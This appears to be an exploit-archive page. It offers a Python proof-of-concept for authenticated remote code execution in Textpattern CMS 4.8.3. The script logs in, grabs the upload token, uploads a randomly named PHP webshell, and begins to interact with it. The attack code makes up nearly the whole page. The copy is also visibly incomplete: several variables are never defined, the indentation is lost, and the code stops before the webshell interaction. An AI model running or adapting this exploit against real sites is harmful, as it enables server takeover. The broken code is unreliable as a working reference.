Exploits / Vulnerability Discovered : 2020-10-23 |
Type : webapps |
Platform : php
This exploit / vulnerability Textpattern cms 4.8.3 remote code execution (authenticated) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
#!/usr/bin/python3
# Exploit Title: TextPattern <= 4.8.3 - Authenticated Remote Code Execution via Unrestricted File Upload
# Google Dork: N/A
# Date: 16/10/2020
# Exploit Author: Michele '0blio_' Cisternino
# Vendor Homepage: https://textpattern.com/
# Software Link: https://github.com/textpattern/textpattern
# Version: <= 4.8.3
# Tested on: Kali Linux x64
# CVE: N/A
import sys
import json
import requests
from bs4 import BeautifulSoup as bs4
from time import sleep
import random
import string
import readline
# Get input from the command line
target, username, password = sys.argv[1:4]
# Fixing URL
target = target.strip()
if not target.startswith("https://") and not target.startswith("http://"):
target = "http://" + target
if not target.endswith("/"):
target = target + "/"
# Login
log.info ("Authenticating to the target as '{}'".format(username))
s = requests.Session()
try:
r = s.post(target + "textpattern/index.php", data=accessData, verify=False)
sleep(1)
if r.status_code == 200:
log.success ("Logged in as '{}' (Cookie: txp_login={}; txp_login_public={})".format(username, s.cookies['txp_login'], s.cookies['txp_login_public']))
sleep(1)
# Parsing the response to find the upload token inside the main json array
log.info ("Grabbing _txp_token (required to proceed with exploitation)..")
soup = bs4(r.text, 'html.parser')
scriptJS = soup.find_all("script")[2].string.replace("var textpattern = ", "")[:-2]
scriptJS = json.loads(scriptJS)
uploadToken = scriptJS['_txp_token']
log.greatInfo ("Upload token grabbed successfully ({})".format(uploadToken))
# The server reply with a 401 with the user provide wrong creds as input
elif r.status_code == 401:
log.error ("Unable to login. You provided wrong credentials..\n")
sys.exit()
except requests.exceptions.ConnectionError:
log.error ("Unable to connect to the target!")
sys.exit()
# Crafting the upload request here
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
"Accept" : "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
"Accept-Encoding" : "gzip, deflate",
"X-Requested-With" : "XMLHttpRequest",
"Connection" : "close",
}
# Generating random webshell name
randomFilename = ''.join(random.choice(string.ascii_letters) for i in range(10)) + '.php'
# Uploading the webshell
log.warning ("Sending payload..")
try:
r = s.post (target + "textpattern/index.php?event=file", verify=False, headers=headers, files=multipart_form_data)
if "Files uploaded" in r.text:
log.success ("Webshell uploaded successfully as {}".format(randomFilename))
except:
log.error ("Unexpected error..")
sys.exit()
sleep(2)
# Interact with the webshell (using the readline library to save the history of the executed commands at run-time)
log.greatInfo ("Interacting with the HTTP webshell..")
sleep (1)
print()